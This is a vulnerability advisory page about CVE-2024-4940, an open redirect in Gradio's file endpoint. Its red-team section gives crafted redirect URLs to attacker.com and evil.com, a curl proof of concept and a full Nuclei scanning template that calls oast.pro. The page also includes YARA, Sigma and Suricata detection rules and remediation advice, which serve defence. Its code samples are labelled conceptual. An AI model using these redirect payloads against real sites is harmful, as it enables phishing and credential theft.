☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Gradio-app logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.4 🐛 CWE-601
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-4940

CVE-2024-4940 is an open redirect vulnerability in the Gradio web application framework (gradio-app/gradio).
📅 PUBLISHED: 2024-06-22 05:23 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.02%
👁️
1.02% probability
25.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-4940 is an open redirect vulnerability in the Gradio web application framework (gradio-app/gradio). The flaw allows an attacker to craft a malicious URL that, when processed by the application, redirects a user to an arbitrary external website. This can be leveraged for phishing attacks, Cross-site Scripting (XSS), and Server-Side Request Forgery (SSRF). The vulnerability stems from improper validation of user-supplied input in URL handling. A public proof-of-concept (PoC) exists via a Nuclei template, and the vulnerability is classified as medium severity (CVSS 5.4). No official patch details are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Gradio is a Python package (PyPI) used for building machine learning web demos. This open redirect vulnerability could be exploited in supply chain attacks if an attacker compromises a Gradio-based application and uses the redirect to deliver malicious payloads or steal credentials. Organizations using Gradio in their ML pipelines should treat this as a high-priority supply chain risk.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – the victim must click the crafted link
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for chaining with XSS or SSRF elevates the risk in real-world scenarios.

Deep Dive & Mechanics

The vulnerability exists in Gradio's file serving endpoint. The application improperly validates the file parameter in the URL path. By crafting a request like GET /file=http://attacker.com/, the application returns a 302 redirect to the attacker-controlled domain. This is a classic open redirect (CWE-601).

Root Cause: The application does not sanitize or validate the URL scheme or host in the file parameter, allowing arbitrary redirects.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-gradio-instance.com/file=http://evil.com/phish
  2. Victim clicks the link (e.g., via email or social engineering).
  3. Gradio processes the request and returns a 302 redirect to http://evil.com/phish.
  4. Victim's browser follows the redirect, landing on the attacker's phishing page.

Chaining Possibilities:

  • Phishing: Redirect to a fake login page to steal credentials.
  • XSS: If the redirect target is an attacker-controlled page with malicious JavaScript, the victim's session can be hijacked.
  • SSRF: The redirect could be used to bypass URL validation and make the server request internal resources.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# Gradio's file handler (simplified)
@app.route('/file=<path:filepath>')
def serve_file(filepath):
    # No validation of filepath
    return redirect(filepath)

Patched Code (Expected):

# Patched version should validate the filepath
@app.route('/file=<path:filepath>')
def serve_file(filepath):
    # Validate that filepath is a local file, not a URL
    if filepath.startswith('http://') or filepath.startswith('https://'):
        abort(400, "Invalid file path")
    # Additional validation...
    return send_file(filepath)

Note: No official patch has been released. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A publicly accessible Gradio instance (e.g., http://target-gradio.com)
  • An attacker-controlled server (e.g., http://attacker.com)

Exploit Steps:

  1. Craft the malicious URL:
    http://target-gradio.com/file=http://attacker.com/malicious
    
  2. Send the link to the victim via phishing email or social media.
  3. When the victim clicks, they are redirected to http://attacker.com/malicious.

PoC using curl:

curl -v "http://target-gradio.com/file=http://attacker.com/"

Expected response: HTTP 302 with Location: http://attacker.com/

Nuclei Template (Provided):

id: CVE-2024-4940

info:
  name: Gradio - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    An open redirect vulnerability exists in the gradio-app/gradio, affecting the latest version. The vulnerability allows an attacker to redirect users to arbitrary websites, which can be exploited for phishing attacks, Cross-site Scripting (XSS), Server-Side Request Forgery (SSRF), amongst others. This issue is due to improper validation of user-supplied input in the handling of URLs. Attackers can exploit this vulnerability by crafting a malicious URL that, when processed by the application, redirects the user to an attacker-controlled web page.
  impact: |
    Attackers can redirect users to malicious websites via open redirect, potentially enabling phishing attacks.
  remediation: |
    Update Gradio to a version that patches the open redirect vulnerability.
  reference:
    - https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-4940
    cwe-id: CWE-601
    epss-score: 0.07236
    epss-percentile: 0.91647
  metadata:
    verified: true
    max-request: 1
    vendor: gradio_project
    product: gradio
    shodan-query:
      - http.html:"__gradio_mode__"
      - http.title:"gradio"
    fofa-query:
      - body="__gradio_mode__"
      - title="gradio"
    google-query: intitle:"gradio"
  tags: cve,cve2024,redirect,oast,gradio,vuln

http:
  - raw:
      - |
        GET /file=http://oast.pro/ HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'
        part: header

      - type: status
        status:
          - 302

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for requests to /file=http:// or /file=https://.
  • Look for 302 redirect responses with external domains in the Location header.
  • Use the provided Nuclei template for scanning.

Defense:

  • Implement input validation on the file parameter to reject URLs.
  • Use a whitelist of allowed file paths.
  • Apply a Web Application Firewall (WAF) rule to block requests with file=http or file=https.
  • Update Gradio to a patched version when available.

Indicators of Compromise (IOCs)

  • URL Pattern: */file=http://* or */file=https://*
  • HTTP Response: 302 redirect with Location header pointing to an external domain
  • Log Entry Example:
    192.168.1.100 - - [10/Oct/2024:12:00:00 +0000] "GET /file=http://evil.com/ HTTP/1.1" 302 0 "-" "Mozilla/5.0"
    
  • Network Traffic: Outbound connections to attacker-controlled domains after the redirect

Detection Engineering

YARA Rule

rule CVE_2024_4940_Gradio_Open_Redirect {
    meta:
        description = "Detects Gradio open redirect exploitation attempts"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "CVE-2024-4940"
        severity = "medium"
    strings:
        $redirect_pattern = "/file=http://" ascii wide nocase
        $redirect_pattern2 = "/file=https://" ascii wide nocase
        $redirect_pattern3 = "/file=//" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Gradio Open Redirect Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-4940 open redirect in Gradio
author: Valters IT
date: 2024/10/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4940
    - https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "/file=http://"
            - "/file=https://"
            - "/file=//"
    condition: selection
falsepositives:
    - Legitimate use of file parameter with local paths (unlikely)
level: medium
tags:
    - attack.initial-access
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-4940 Gradio Open Redirect Exploitation"; flow:to_server,established; content:"/file="; http_uri; content:"http://"; distance:0; within:7; http_uri; sid:1000001; rev:1; reference:cve,2024-4940; reference:url,https://huntr.com/bounties/35aaea93-6895-4f03-9c1b-cd992665aa60; classtype:attempted-recon; priority:2;)

Remediation & Mitigation

Immediate Actions:

  1. Update Gradio: Check for patched versions from the official repository. If unavailable, apply a virtual patch.
  2. WAF Rule: Block requests containing /file=http:// or /file=https:// in the URI.
  3. Input Validation: Implement server-side validation to reject non-local file paths.

Long-term Fix:

  • The vendor should release a patch that properly validates the file parameter, restricting it to local file paths only.
  • Conduct a security audit of all URL handling endpoints.

Workaround:

  • If patching is not possible, disable the file serving endpoint or restrict it to authenticated users only.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 58B2A1165CCF3AE41A9B5348] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-4940/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.